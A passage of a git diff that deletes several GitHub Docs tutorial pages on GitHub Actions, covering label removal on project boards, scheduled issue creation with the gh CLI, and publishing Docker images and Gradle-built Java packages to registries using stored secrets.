`12345678` or column `87654321`. The columns may be on different {% data variables.projects.projects_v1_boards %}. - * Change the value for `name` in the `github.rest.issues.removeLabel()` function to the name of the label that you want to remove from issues or pull requests that are moved to the specified column(s). For more information on labels, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#applying-labels-to-issues-and-pull-requests). -1. {% data reusables.actions.commit-workflow %} - -## Testing the workflow - -Every time a project card on a {% data variables.projects.projects_v1_board %} in your repository moves, this workflow will run. If the card is an issue or a pull request and is moved into the column that you specified, then the workflow will remove the specified label from the issue or a pull request. Cards that are notes will not be affected. - -Test your workflow out by moving an issue on your {% data variables.projects.projects_v1_board %} into the target column. - -1. Open an issue in your repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). -1. Label the issue with the label that you want the workflow to remove. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#applying-labels-to-issues-and-pull-requests). -1. Add the issue to the {% data variables.projects.projects_v1_board %} column that you specified in your workflow file. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board). -1. To see the workflow run that was triggered by adding the issue to the project, view the history of your workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. When the workflow completes, the issue that you added to the project column should have the specified label removed. - -## Next steps - -* To learn more about additional things you can do with the `actions/github-script` action, see the [`actions/github-script` action documentation](https://github.com/marketplace/actions/github-script). -* [Search GitHub](https://github.com/search?q=%22uses:+actions/github-script%22&type=code) for examples of workflows using this action. diff --git a/content/actions/use-cases-and-examples/project-management/scheduling-issue-creation.md b/content/actions/use-cases-and-examples/project-management/scheduling-issue-creation.md deleted file mode 100644 index 02a158833396..000000000000 --- a/content/actions/use-cases-and-examples/project-management/scheduling-issue-creation.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Scheduling issue creation -shortTitle: Schedule issue creation -intro: 'You can use {% data variables.product.prodname_actions %} to create an issue on a regular basis for things like daily meetings or quarterly reviews.' -redirect_from: - - /actions/guides/scheduling-issue-creation - - /actions/managing-issues-and-pull-requests/scheduling-issue-creation -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - Project management ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the {% data variables.product.prodname_cli %} to create an issue on a regular basis. For example, you can create an issue each week to use as the agenda for a team meeting. For more information about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/actions/using-workflows/using-github-cli-in-workflows). - -In the tutorial, you will first make a workflow file that uses the {% data variables.product.prodname_cli %}. Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - name: Weekly Team Sync - on: - schedule: - - cron: 20 07 * * 1 - - jobs: - create_issue: - name: Create team sync issue - runs-on: ubuntu-latest - permissions: - issues: write - steps: - - name: Create team sync issue - run: | - if [[ $CLOSE_PREVIOUS == true ]]; then - previous_issue_number=$(gh issue list \ - --label "$LABELS" \ - --json number \ - --jq '.[0].number') - if [[ -n $previous_issue_number ]]; then - gh issue close "$previous_issue_number" - gh issue unpin "$previous_issue_number" - fi - fi - new_issue_url=$(gh issue create \ - --title "$TITLE" \ - --assignee "$ASSIGNEES" \ - --label "$LABELS" \ - --body "$BODY") - if [[ $PINNED == true ]]; then - gh issue pin "$new_issue_url" - fi - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - GH_REPO: {% raw %}${{ github.repository }}{% endraw %} - TITLE: Team sync - ASSIGNEES: monalisa,doctocat,hubot - LABELS: weekly sync,docs-team - BODY: | - ### Agenda - - - [ ] Start the recording - - [ ] Check-ins - - [ ] Discussion points - - [ ] Post the recording - - ### Discussion Points - Add things to discuss below - - - [Work this week](https://github.com/orgs/github/projects/3) - PINNED: false - CLOSE_PREVIOUS: false - ``` - -1. Customize the parameters in your workflow file: - * Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every Monday at 7:20 UTC. For more information about scheduled workflows, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#scheduled-events). - * Change the value for `ASSIGNEES` to the list of {% data variables.product.prodname_dotcom %} usernames that you want to assign to the issue. - * Change the value for `LABELS` to the list of labels that you want to apply to the issue. - * Change the value for `TITLE` to the title that you want the issue to have. - * Change the value for `BODY` to the text that you want in the issue body. The `|` character allows you to use a multi-line value for this parameter. - * If you want to pin this issue in your repository, set `PINNED` to `true`. For more information about pinned issues, see [AUTOTITLE](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository). - * If you want to close the previous issue generated by this workflow each time a new issue is created, set `CLOSE_PREVIOUS` to `true`. The workflow will close the most recent issue that has the labels defined in the `labels` field. To avoid closing the wrong issue, use a unique label or combination of labels. -1. {% data reusables.actions.commit-workflow %} - -## Expected results - -Based on the `schedule` parameter (for example, every Monday at 7:20 UTC), your workflow will create a new issue with the assignees, labels, title, and body that you specified. If you set `PINNED` to `true`, the workflow will pin the issue to your repository. If you set `CLOSE_PREVIOUS` to true, the workflow will close the most recent issue with matching labels. - -> [!NOTE] -> {% data reusables.actions.schedule-delay %} - -You can view the history of your workflow runs to see this workflow run periodically. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -## Next steps - -* To learn more about additional things you can do with the {% data variables.product.prodname_cli %}, like using an issue template, see the [`gh issue create` documentation](https://cli.github.com/manual/gh_issue_create). -* [Search {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=&type=actions&verification=&query=schedule+issue) for actions related to scheduled issues. diff --git a/content/actions/use-cases-and-examples/project-management/using-github-actions-for-project-management.md b/content/actions/use-cases-and-examples/project-management/using-github-actions-for-project-management.md deleted file mode 100644 index f4d8ac27124b..000000000000 --- a/content/actions/use-cases-and-examples/project-management/using-github-actions-for-project-management.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Using GitHub Actions for project management -intro: 'You can use {% data variables.product.prodname_actions %} to automate many of your project management tasks.' -redirect_from: - - /actions/guides/using-github-actions-for-project-management - - /actions/managing-issues-and-pull-requests/using-github-actions-for-project-management -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Project management -shortTitle: Actions for project management ---- - -You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label{% ifversion projects-v1 %}, move the issue onto a {% data variables.projects.projects_v1_board %},{% endif %} and leave a comment. - -## When do workflows run? - -You can configure your workflows to run on a schedule or be triggered when an event occurs. For example, you can set your workflow to run when someone creates an issue in a repository. - -Many workflow triggers are useful for automating project management. - -* An issue is opened, assigned, or labeled. -* A comment is added to an issue. -* A scheduled time. - -For a full list of events that can trigger workflows, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -## What can workflows do? - -Workflows can do many things, such as commenting on an issue, adding or removing labels, {% ifversion projects-v1 %}moving cards on {% data variables.projects.projects_v1_boards %}, {% endif %}and opening issues. - -You can learn about using {% data variables.product.prodname_actions %} for project management by following these tutorials, which include example workflows that you can adapt to meet your needs. - -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/adding-labels-to-issues){%- ifversion projects-v1 %} -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column) -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards){% endif %} -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added) -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/closing-inactive-issues) -* [AUTOTITLE](/actions/managing-issues-and-pull-requests/scheduling-issue-creation) diff --git a/content/actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions.md b/content/actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions.md deleted file mode 100644 index 60b11fa31ce7..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: About packaging with GitHub Actions -intro: 'You can set up workflows in {% data variables.product.prodname_actions %} to produce packages and upload them to {% data variables.product.prodname_registry %} or another package hosting provider.' -redirect_from: - - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions - - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions - - /actions/guides/about-packaging-with-github-actions - - /actions/publishing-packages/about-packaging-with-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Packaging -shortTitle: Packaging with GitHub Actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.package_registry.about-packaging-and-actions %} - -## Further reading - -* [AUTOTITLE](/actions/publishing-packages/publishing-nodejs-packages) diff --git a/content/actions/use-cases-and-examples/publishing-packages/index.md b/content/actions/use-cases-and-examples/publishing-packages/index.md deleted file mode 100644 index f01698b80d83..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Publishing packages -shortTitle: Publish packages -intro: 'You can automatically publish packages using {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/publishing-packages-with-github-actions - - /actions/publishing-packages -children: - - /about-packaging-with-github-actions - - /publishing-docker-images - - /publishing-java-packages-with-gradle - - /publishing-java-packages-with-maven - - /publishing-nodejs-packages ---- - diff --git a/content/actions/use-cases-and-examples/publishing-packages/publishing-docker-images.md b/content/actions/use-cases-and-examples/publishing-packages/publishing-docker-images.md deleted file mode 100644 index c0035e68758f..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/publishing-docker-images.md +++ /dev/null @@ -1,241 +0,0 @@ ---- -title: Publishing Docker images -shortTitle: Publish Docker images -intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.' -redirect_from: - - /actions/language-and-framework-guides/publishing-docker-images - - /actions/guides/publishing-docker-images - - /actions/publishing-packages/publishing-docker-images -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Packaging - - Publishing - - Docker -layout: inline ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries. - -> [!NOTE] -> If you want to push to another third-party Docker registry, the example in the [Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages) section can serve as a good template. - -## Prerequisites - -We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -You might also find it helpful to have a basic understanding of the following: - -* [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) -* [AUTOTITLE](/actions/security-guides/automatic-token-authentication){% ifversion fpt or ghec %} -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry){% else %} -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry){% endif %} - -## About image configuration - -This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image. - -{% data reusables.package_registry.about-annotation-keys %} For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#labelling-container-images). - -In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images). - -{% data reusables.actions.enterprise-marketplace-actions %} - -## Publishing images to Docker Hub - -Each time you create a new release on {% data variables.product.github %}, you can trigger a workflow to publish your image. The workflow in the example below runs when the `release` event triggers with the `published` activity type. - -In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub. - -To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see [Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/quickstart/#step-3-build-and-push-an-image-to-docker-hub) in the Docker documentation. - -The `login-action` options required for Docker Hub are: -* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -The `metadata-action` option required for Docker Hub is: -* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub. - -The `build-push-action` options required for Docker Hub are: -* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list. -* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully. - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Publish Docker image - -on: - release: - types: [published] - -jobs: - push_to_registry: - name: Push Docker image to Docker Hub - runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} - permissions: - packages: write - contents: read - {% ifversion artifact-attestations %}attestations: write{% endif %} - {% ifversion artifact-attestations %}id-token: write{% endif %} - steps: - - name: Check out the repo - uses: {% data reusables.actions.action-checkout %} - - - name: Log in to Docker Hub - uses: docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a - with: - username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} - password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} - - - name: Extract metadata (tags, labels) for Docker - id: meta - uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7 - with: - images: my-docker-hub-namespace/my-docker-hub-repository - - - name: Build and push Docker image - id: push - uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 - with: - context: . - file: ./Dockerfile - push: true - tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %} - labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} - -{% ifversion artifact-attestations %} - - name: Generate artifact attestation - uses: actions/attest-build-provenance@v2 - with: - subject-name: index.docker.io/my-docker-hub-namespace/my-docker-hub-repository - subject-digest: {% raw %}${{ steps.push.outputs.digest }}{% endraw %} - push-to-registry: true -{% endif -%} -``` - -The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image. - -{% ifversion artifact-attestations %}{% data reusables.actions.artifact-attestations-step-explanation %}{% endif %} - -## Publishing images to {% data variables.product.prodname_registry %} - -{% ifversion ghes %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} - -Each time you create a new release on {% data variables.product.github %}, you can trigger a workflow to publish your image. The workflow in the example below runs when a change is pushed to the `release` branch. - -In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}. - -The `login-action` options required for {% data variables.product.prodname_registry %} are: -* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes %}`{% data reusables.package_registry.container-registry-hostname %}`{% else %}`docker.pkg.github.com`{% endif %}. -* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). -* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -{% ifversion fpt or ghec %} -The `metadata-action` option required for {% data variables.product.prodname_registry %} is: -* `images`: The namespace and name for the Docker image you are building. -{% endif %} - -The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %} - -* `context`: Defines the build's context as the set of files located in the specified path.{% endif %} -* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %} -* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %} -* `tags`: Must be set in the format {% ifversion ghes %}`{% data reusables.package_registry.container-registry-hostname %}/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. - - For example, for an image named `octo-image` stored on {% data variables.product.prodname_ghe_server %} at `https://HOSTNAME/octo-org/octo-repo`, the `tags` option should be set to `{% data reusables.package_registry.container-registry-hostname %}/octo-org/octo-repo/octo-image:latest`{% else %}`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. - - For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`{% endif %}. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %} - -{% data reusables.package_registry.publish-docker-image %} - -The above workflow is triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}. - -## Publishing images to Docker Hub and {% data variables.product.prodname_registry %} - -{% ifversion ghes %} -{% data reusables.package_registry.container-registry-ghes-beta %} -{% endif %} - -In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry. - -The following example workflow uses the steps from the previous sections ([Publishing images to Docker Hub](#publishing-images-to-docker-hub) and [Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)) to create a single workflow that pushes to both registries. - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Publish Docker image - -on: - release: - types: [published] - -jobs: - push_to_registries: - name: Push Docker image to multiple registries - runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} - permissions: - packages: write - contents: read - {% ifversion artifact-attestations %}attestations: write{% endif %} - {% ifversion artifact-attestations %}id-token: write{% endif %} - steps: - - name: Check out the repo - uses: {% data reusables.actions.action-checkout %} - - - name: Log in to Docker Hub - uses: docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a - with: - username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} - password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} - - - name: Log in to the Container registry - uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1 - with: - registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghes %}{% data reusables.package_registry.container-registry-hostname %}{% else %}docker.pkg.github.com{% endif %} - username: {% raw %}${{ github.actor }}{% endraw %} - password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - - - name: Extract metadata (tags, labels) for Docker - id: meta - uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7 - with: - images: | - my-docker-hub-namespace/my-docker-hub-repository - {% data reusables.package_registry.container-registry-hostname %}/{% raw %}${{ github.repository }}{% endraw %} - - - name: Build and push Docker images - id: push - uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 - with: - context: . - push: true - tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %} - labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} - -{% ifversion artifact-attestations %} - - name: Generate artifact attestation - uses: actions/attest-build-provenance@v2 - with: - subject-name: {% data reusables.package_registry.container-registry-hostname %}/{% raw %}${{ github.repository }}{% endraw %} - subject-digest: {% raw %}${{ steps.push.outputs.digest }}{% endraw %} - push-to-registry: true -{% endif -%} -``` - -The above workflow checks out the {% data variables.product.github %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action. -Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% data variables.product.prodname_container_registry %}. - -{% ifversion artifact-attestations %}{% data reusables.actions.artifact-attestations-step-explanation %}{% endif %} diff --git a/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-gradle.md b/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-gradle.md deleted file mode 100644 index 7eac2add2d09..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-gradle.md +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: Publishing Java packages with Gradle -shortTitle: Publish Java packages with Gradle -intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow. -redirect_from: - - /actions/language-and-framework-guides/publishing-java-packages-with-gradle - - /actions/guides/publishing-java-packages-with-gradle - - /actions/publishing-packages/publishing-java-packages-with-gradle -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Packaging - - Publishing - - Java - - Gradle ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -{% data reusables.actions.publishing-java-packages-intro %} - -## Prerequisites - -We recommend that you have a basic understanding of workflow files and configuration options. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -For more information about creating a CI workflow for your Java project with Gradle, see [AUTOTITLE](/actions/automating-builds-and-tests/building-and-testing-java-with-gradle). - -You may also find it helpful to have a basic understanding of the following: - -* [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry) -* [AUTOTITLE](/actions/learn-github-actions/variables) -* [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) -* [AUTOTITLE](/actions/security-guides/automatic-token-authentication) - -## About package configuration - -The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry. This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file. For more information, see the [Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html) in the Gradle documentation. - -The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication. - -## Publishing packages to the Maven Central Repository - -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#release). - -You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository. For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`. - -{% raw %} - -```groovy copy -plugins { - ... - id 'maven-publish' -} - -publishing { - ... - - repositories { - maven { - name = "OSSRH" - url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/" - credentials { - username = System.getenv("MAVEN_USERNAME") - password = System.getenv("MAVEN_PASSWORD") - } - } - } -} -``` - -{% endraw %} - -With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -```yaml copy - -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Publish package to the Maven Central Repository -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Java - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Publish package - run: ./gradlew publish - env: - MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} - MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} -``` - -{% data reusables.actions.gradle-workflow-steps %} -1. Executes the Gradle `publish` task to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Publishing packages to {% data variables.product.prodname_registry %} - -Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#release). - -You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}. In that repository configuration, you can also take advantage of environment variables set in your CI workflow run. You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret. - -{% data reusables.actions.github-token-permissions %} - -For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _build.gradle_ would look similar to the below example. - -{% raw %} - -```groovy copy -plugins { - ... - id 'maven-publish' -} - -publishing { - ... - - repositories { - maven { - name = "GitHubPackages" - url = "https://maven.pkg.github.com/octocat/hello-world" - credentials { - username = System.getenv("GITHUB_ACTOR") - password = System.getenv("GITHUB_TOKEN") - } - } - } -} -``` - -{% endraw %} - -With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by running the `gradle publish` command. - -```yaml copy - -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Publish package to GitHub Packages -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Publish package - run: ./gradlew publish - env: - GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -{% data reusables.actions.gradle-workflow-steps %} -1. Executes the Gradle `publish` task to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow. - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %} - -You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file. - -Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. - -For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`. - -If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example. - -{% raw %} - -```groovy copy -plugins { - ... - id 'maven-publish' -} - -publishing { - ... - - repositories { - maven { - name = "OSSRH" - url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/" - credentials { - username = System.getenv("MAVEN_USERNAME") - password = System.getenv("MAVEN_PASSWORD") - } - } - maven { - name = "GitHubPackages" - url = "https://maven.pkg.github.com/octocat/hello-world" - credentials { - username = System.getenv("GITHUB_ACTOR") - password = System.getenv("GITHUB_TOKEN") - } - } - } -} -``` - -{% endraw %} - -With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command. - -```yaml copy - -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Publish package to the Maven Central Repository and GitHub Packages -on: - release: - types: [created] -jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Java - uses: {% data reusables.actions.action-setup-java %} - with: - java-version: '11' - distribution: 'temurin' - - name: Setup Gradle - uses: gradle/actions/setup-gradle@af1da67850ed9a4cedd57bfd976089dd991e2582 # v4.0.0 - - - name: Publish package - run: ./gradlew publish - env: {% raw %} - MAVEN_USERNAME: ${{ secrets.OSSRH_USERNAME }} - MAVEN_PASSWORD: ${{ secrets.OSSRH_TOKEN }} - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -{% data reusables.actions.gradle-workflow-steps %} -1. Executes the Gradle `publish` task to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow. - - For more information about using secrets in your workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). diff --git a/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-maven.md b/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-maven.md deleted file mode 100644 index f796f3dc6689..000000000000 --- a/content/actions/use-cases-and-examples/publishing-packages/publishing-java-packages-with-maven.md +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: Publishing Java packages with Maven -shortTitle: Publish Java packages with Maven -intro: You can use Maven to publish Java packages to a registry as part of your continuous integration (CI) workflow. -redirect_from: - - 